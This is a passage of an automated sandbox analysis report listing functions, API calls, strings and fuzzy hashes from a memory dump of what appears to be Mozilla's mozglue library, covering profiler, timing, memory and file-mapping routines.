Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 1274d18877d41ca786b98247fe2b8e1361484e62cbdd4145ba9e042006ba8c9a
Instruction ID: 4631d6027663490a1b07aac505b7b2dbab4abfb7ef9a5058dabe434a7b527d84
Opcode Fuzzy Hash: 1274d18877d41ca786b98247fe2b8e1361484e62cbdd4145ba9e042006ba8c9a
Instruction Fuzzy Hash: FA61F4717043459BDF00CFB6D984BBABBB5EB4A328F044529F92583BC0D730A895CB91

Function 6CAF7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CAF8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CAF801D

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CAF802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CAF803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CAF808D

Part of subcall function 6CAFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CAFCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CAF809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAF80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAF80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAF8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CAF8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CAF8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CAF817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF8199

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 0365c672d289a0052f120a3ee165970308fb72074b81be3629c160aebe9a4d33
Instruction ID: 155c9a165c9669815da54b38bf57bf19e9f6ec53c71df96277c771f4a025b4c0
Opcode Fuzzy Hash: 0365c672d289a0052f120a3ee165970308fb72074b81be3629c160aebe9a4d33
Instruction Fuzzy Hash: F951C6B2E001445BDB00DFA6DC849EFB7B9EF49264F180225F825E7740E731A949CBA5

Function 6CB46660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB6F618), ref: 6CB46694
GetThreadId.KERNEL32(?), ref: 6CB466B1
GetCurrentThreadId.KERNEL32 ref: 6CB466B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB466E1
EnterCriticalSection.KERNEL32(6CB6F618), ref: 6CB46734
GetCurrentProcess.KERNEL32 ref: 6CB4673A
LeaveCriticalSection.KERNEL32(6CB6F618), ref: 6CB4676C
GetCurrentThread.KERNEL32 ref: 6CB467FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB46868
RtlCaptureContext.NTDLL ref: 6CB4687F

Strings

WalkStack64, xrefs: 6CB46890

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 6cbfefd5abb56e164257553fe10d5ae4273ae36517c43731f838347ad58b705f
Instruction ID: 3e61374ceea01e717aec6e0d23ed7782df7610ef99160ffb11a9c33f55670c0a
Opcode Fuzzy Hash: 6cbfefd5abb56e164257553fe10d5ae4273ae36517c43731f838347ad58b705f
Instruction Fuzzy Hash: C8518C71A09381AFD711CF25C844BAEBBF4FF89714F00892DF99997680D770A908DB92

Function 6CB2DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2DE73
GetCurrentThreadId.KERNEL32 ref: 6CB2DF7D
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2DF8A
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB2DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAF4A68), ref: 6CB2DE7B

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

Part of subcall function 6CB1CBE8: GetCurrentProcess.KERNEL32(?,6CAE31A7), ref: 6CB1CBF1
Part of subcall function 6CB1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAE31A7), ref: 6CB1CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAF4A68), ref: 6CB2DEB8
free.MOZGLUE(00000000,?,6CAF4A68), ref: 6CB2DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB2DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CB2DE83
<none>, xrefs: 6CB2DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB2E00E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 46fa408c919b0d4fb850466aad95135f1e9a0122593d8bdc7deb9dc4964ee4e8
Instruction ID: 8a47aa9b87f7615d4b47abd0e64e2f228e4ca289de94d5e783b69620cf9e4de7
Opcode Fuzzy Hash: 46fa408c919b0d4fb850466aad95135f1e9a0122593d8bdc7deb9dc4964ee4e8
Instruction Fuzzy Hash: 9141D335B062909BEF209B76E8047BE7775EF45318F140029EA1D97F81CB39A805CBE6

Function 6CB3D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB3D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB3D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB3D52A
GetCurrentThreadId.KERNEL32 ref: 6CB3D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB3D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB3D55F
free.MOZGLUE(00000000), ref: 6CB3D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB3D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB3D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB3D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB3D652
GetCurrentThreadId.KERNEL32 ref: 6CB3D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB3D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB3D6A2

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 07fa803806c190155459c9b75c76dcbe8659ce5de2255b1cd2c27e258a2e8ace
Instruction ID: 7de16a32703cdb22e33ab3b5755babd1302df50162441d312fadbbd4f861a8fd
Opcode Fuzzy Hash: 07fa803806c190155459c9b75c76dcbe8659ce5de2255b1cd2c27e258a2e8ace
Instruction Fuzzy Hash: 49516C71604745DFC704DF35C888AAABBB4FF89318F009A2EF85A87751DB30A949CB91

Function 6CB05670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CB056D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB056E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CB056F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CB05744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CB057BC
GetTickCount64.KERNEL32 ref: 6CB058CB
EnterCriticalSection.KERNEL32(6CB6F688), ref: 6CB058F3
__aulldiv.LIBCMT ref: 6CB05945
LeaveCriticalSection.KERNEL32(6CB6F688), ref: 6CB059B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB6F638,?,?,?,?), ref: 6CB059E9

Strings

MOZ_APP_RESTART, xrefs: 6CB056CC

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 023af519017b5c83ecd14e7ecb383634201a9c182808faf6a23880a8a27e2dfb
Instruction ID: 81e5179f3898365124c0beb5499dfd1aa65bcf8880e61a63e327479b4fe41e1a
Opcode Fuzzy Hash: 023af519017b5c83ecd14e7ecb383634201a9c182808faf6a23880a8a27e2dfb
Instruction Fuzzy Hash: 71C18D31A087809FDB05CF29C44066EBBF1FFDA714F059A1DE8C497A60D770A889CB86

Function 6CB2EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
Part of subcall function 6CB29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
Part of subcall function 6CB29420: __Init_thread_footer.LIBCMT ref: 6CB2949F

GetCurrentThreadId.KERNEL32 ref: 6CB2EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2EC8C

Part of subcall function 6CB294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB294EE
Part of subcall function 6CB294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB29508

GetCurrentThreadId.KERNEL32 ref: 6CB2ECA1
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB2ECC5
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB2ED19
CloseHandle.KERNEL32(?), ref: 6CB2ED28
free.MOZGLUE(00000000), ref: 6CB2ED2F
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB2EC94

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: c4c29ab03bce6ad9b3b76253bc919abfcd393fd22a89e027070a389c0b5984a8
Instruction ID: 5508eaf382893d002af9902bce2076fefc0a3d99d70483ab79a21f6bc5daf4e9
Opcode Fuzzy Hash: c4c29ab03bce6ad9b3b76253bc919abfcd393fd22a89e027070a389c0b5984a8
Instruction Fuzzy Hash: 6D21A175600194ABDF009F77D808BBE7779EB462ADF104211FD1C97B81DB399816CBA2

Function 6CB28ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CAEEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAEEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB2B392,?,?,00000001), ref: 6CB291F4

Part of subcall function 6CB1CBE8: GetCurrentProcess.KERNEL32(?,6CAE31A7), ref: 6CB1CBF1
Part of subcall function 6CB1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAE31A7), ref: 6CB1CBFA

Strings

timeline-ipc, xrefs: 6CB29096
timeline-fileio, xrefs: 6CB290A4
marker-table, xrefs: 6CB2906C
timeline-memory, xrefs: 6CB29088
marker-chart, xrefs: 6CB2905E
data, xrefs: 6CB290E8
stack-chart, xrefs: 6CB290B2
timeline-overview, xrefs: 6CB2907A
name, xrefs: 6CB28F16

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 11aea070465b57740918c4263cbaa2cb997b0e1d233785500df7d4640ab6ed98
Instruction ID: c991b513dfc54b68d031812d4f11112dd5fedb52a05d07c02b0be34e664a5e44
Opcode Fuzzy Hash: 11aea070465b57740918c4263cbaa2cb997b0e1d233785500df7d4640ab6ed98
Instruction Fuzzy Hash: E7B1E0B0E012899BDB04CF95D591BFEBBB6EF84308F504529D409ABF80C775A949CBD1

Function 6CB0C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB0C5A3
WideCharToMultiByte.KERNEL32 ref: 6CB0C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB0C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CB0CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB0CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0CAA5

Strings

(null), xrefs: 6CB0C596
0, xrefs: 6CB0D30A

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 9fed2afab6856456acbb08d0939716eab64d501aa15e81476c12db4346e23dd2
Instruction ID: b1f3897c1a30d449af525281410da974801d0a1c79af0bdfa408d205d9ec5d16
Opcode Fuzzy Hash: 9fed2afab6856456acbb08d0939716eab64d501aa15e81476c12db4346e23dd2
Instruction Fuzzy Hash: EFA19A307083819FDB11DF28C59875ABFE5EF89758F04896DE88997682D731D805CBA3

Function 6CB0C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB0C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB0C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CB0C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB0C891

Strings

inf, xrefs: 6CB0C78F
NAN, xrefs: 6CB0C7AD
nan, xrefs: 6CB0C7A8
INF, xrefs: 6CB0C794

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: ffc56f59017858aa9fd5be410131f6388aba97746b3fc4adacae5b2efbea8418
Instruction ID: 3f3d4dced7a7c2d06fc5c72bbca0a6b287abaa9d9ffd20ed67fa922973a07440
Opcode Fuzzy Hash: ffc56f59017858aa9fd5be410131f6388aba97746b3fc4adacae5b2efbea8418
Instruction Fuzzy Hash: DE5194706087848BDB00EF6DD5812AAFBF0FF8A345F004A2DE9D5A7651E770D9858B53

Function 6CAE4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB24843,?), ref: 6CAE45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB24843,?), ref: 6CAE468A
free.MOZGLUE(?,?,?,?,?,?,6CB24843,?), ref: 6CAE46C9
free.MOZGLUE(?), ref: 6CAE46EF
free.MOZGLUE(?), ref: 6CAE4712
free.MOZGLUE(?), ref: 6CAE4735
free.MOZGLUE(?), ref: 6CAE4758
free.MOZGLUE(?), ref: 6CAE477B
free.MOZGLUE(?), ref: 6CAE479E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: e91b9603582a56b629098b7375294784352eb3431ebedb838ddbe9570734a025
Instruction ID: ae3185f981dd40d1cce48bf592cb27c18c76d2d303b5c7726b1abe5fa269d29a
Opcode Fuzzy Hash: e91b9603582a56b629098b7375294784352eb3431ebedb838ddbe9570734a025
Instruction Fuzzy Hash: E6B10471A001508FDB18DFBDC89476D77AAAF4A328F180669E416DFF82D7309884EBD1

Function 6CB4AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB4AC52
CreateFileMappingW.KERNEL32 ref: 6CB4AC7D
GetSystemInfo.KERNEL32 ref: 6CB4AC98
MapViewOfFile.KERNEL32 ref: 6CB4ACB0
GetSystemInfo.KERNEL32 ref: 6CB4ACCD
MapViewOfFile.KERNEL32 ref: 6CB4AD05
UnmapViewOfFile.KERNEL32 ref: 6CB4AD1C
CloseHandle.KERNEL32 ref: 6CB4AD28
UnmapViewOfFile.KERNEL32 ref: 6CB4AD37
CloseHandle.KERNEL32 ref: 6CB4AD43
CloseHandle.KERNEL32 ref: 6CB4AD67

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: b5e83685ae9b69d502d2522bddfacedb1bf206ac166db0bed13a4c0d37f7f97e
Instruction ID: fc0ee9363d50b8eb426287db493f515cb375b9f66d4c4032c601907cf4f2ab54
Opcode Fuzzy Hash: b5e83685ae9b69d502d2522bddfacedb1bf206ac166db0bed13a4c0d37f7f97e
Instruction Fuzzy Hash: DA316FB1A087448FDB00AF7DD64826EBBF0FF85305F018A3DE98987255EB709458DB82

Function 6CAF9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAF9675
__Init_thread_footer.LIBCMT ref: 6CAF9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAF96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAF9707
__Init_thread_footer.LIBCMT ref: 6CAF971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAF9773

Part of subcall function 6CB1AB89: EnterCriticalSection.KERNEL32(6CB6E370,?,?,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB94
Part of subcall function 6CB1AB89: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAF97B7
FreeLibrary.KERNEL32 ref: 6CAF97D0
FreeLibrary.KERNEL32 ref: 6CAF97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAF9824

Strings

MapViewOfFileNuma2, xrefs: 6CAF97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAF9670
ntdll.dll, xrefs: 6CAF96E3
NtMapViewOfSection, xrefs: 6CAF9701

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File
